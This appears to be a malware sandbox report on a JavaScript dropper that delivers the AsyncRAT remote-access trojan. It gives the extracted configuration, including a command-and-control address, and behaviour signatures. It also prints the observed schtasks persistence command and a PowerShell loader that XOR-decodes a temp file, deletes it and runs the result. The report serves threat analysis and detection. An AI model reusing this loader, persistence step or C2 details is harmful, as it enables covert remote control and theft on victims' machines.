Analysis
- max time kernel
149s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
16/07/2026, 06:46
General
- Target SCAN DOC FILE PR 000100265.QB-.js
- Size 396KB
- Sample260716-hjtpaaav3x
- SHA256 ea326b9f3adb615c5b8a6c89288227ece1d29fc30dbfb4500d98c15c33bed6f5
Malware Config
Extracted
-
asyncrat
-
0.5.8
-
Default
-
216.250.250.247:4521
-
4Dz7bMWcYYlR
-
delay
3
-
install
false
-
install_file
dilil ok.exe
-
install_folder
%AppData%
Signatures
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound 2 IoCs
Network activity triggered a Suricata alert
- Async RAT payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\SCAN DOC FILE PR 000100265.QB-.js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "PhotoStudioJS" /xml "C:\Users\Admin\AppData\Local\Temp\Task_18983.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\wscript.exewscript.exe1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w 1 -nop -ep bypass -c "$h=[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\dat_44168_4a00').Trim();Remove-Item 'C:\Users\Admin\AppData\Local\Temp\dat_44168_4a00' -Force -EA 0;$n=$h.Length/2;$b=[byte[]]::new($n);for($i=0;$i-lt$n;$i++){$b[$i]=[Convert]::ToByte($h.Substring($i*2,2),16)-bxor0x99};$sc=[System.Text.Encoding]::UTF8.GetString($b);if($sc.Length-gt0-and[int][char]$sc[0]-eq65279){$sc=$sc.Substring(1)};&([ScriptBlock]::Create($sc))"1⤵
- Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound
- Process spawned unexpected child process
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Task_18983.xml
dat_44168_4a00
memory/4632-21-0x0000000007390000-0x000000000794A000-memory.dmp
memory/4632-24-0x00000000071A0000-0x00000000071D6000-memory.dmp
memory/4632-7-0x0000000004E20000-0x000000000546A000-memory.dmp
memory/4632-8-0x00000000749F0000-0x00000000751AC000-memory.dmp
memory/4632-9-0x0000000004D40000-0x0000000004D62000-memory.dmp
memory/4632-10-0x0000000005470000-0x00000000054D6000-memory.dmp
memory/4632-11-0x00000000054E0000-0x0000000005546000-memory.dmp
memory/4632-14-0x00000000055E0000-0x000000000593B000-memory.dmp
memory/4632-15-0x0000000005B30000-0x0000000005B4E000-memory.dmp
memory/4632-16-0x0000000006120000-0x000000000616C000-memory.dmp
memory/4632-5-0x00000000022D0000-0x0000000002306000-memory.dmp
memory/4632-18-0x0000000006D30000-0x0000000006DC6000-memory.dmp
memory/4632-19-0x0000000006070000-0x000000000608A000-memory.dmp
memory/4632-20-0x00000000060C0000-0x00000000060E2000-memory.dmp
memory/4632-4-0x0000000074A02000-0x0000000074A03000-memory.dmp
memory/4632-22-0x0000000007FD0000-0x000000000864C000-memory.dmp
memory/4632-6-0x00000000749F0000-0x00000000751AC000-memory.dmp
memory/4632-25-0x0000000070C40000-0x0000000070C8C000-memory.dmp
memory/4632-23-0x00000000070B0000-0x0000000007126000-memory.dmp
memory/4632-26-0x0000000070F00000-0x000000007125B000-memory.dmp
memory/4632-29-0x00000000071E0000-0x0000000007200000-memory.dmp
memory/4632-30-0x0000000007210000-0x00000000072B3000-memory.dmp
memory/4632-31-0x0000000007300000-0x000000000730A000-memory.dmp
memory/4632-32-0x0000000007340000-0x000000000736A000-memory.dmp
memory/4632-33-0x0000000007950000-0x0000000007974000-memory.dmp
memory/4632-34-0x0000000004960000-0x0000000004976000-memory.dmp
memory/4632-35-0x0000000004980000-0x0000000004988000-memory.dmp
memory/4632-40-0x00000000079D0000-0x00000000079E2000-memory.dmp
memory/4632-36-0x0000000007370000-0x0000000007382000-memory.dmp
memory/4632-41-0x0000000074A02000-0x0000000074A03000-memory.dmp
memory/4632-42-0x00000000749F0000-0x00000000751AC000-memory.dmp
memory/4632-43-0x00000000749F0000-0x00000000751AC000-memory.dmp
memory/4632-44-0x0000000007AA0000-0x0000000007B3C000-memory.dmp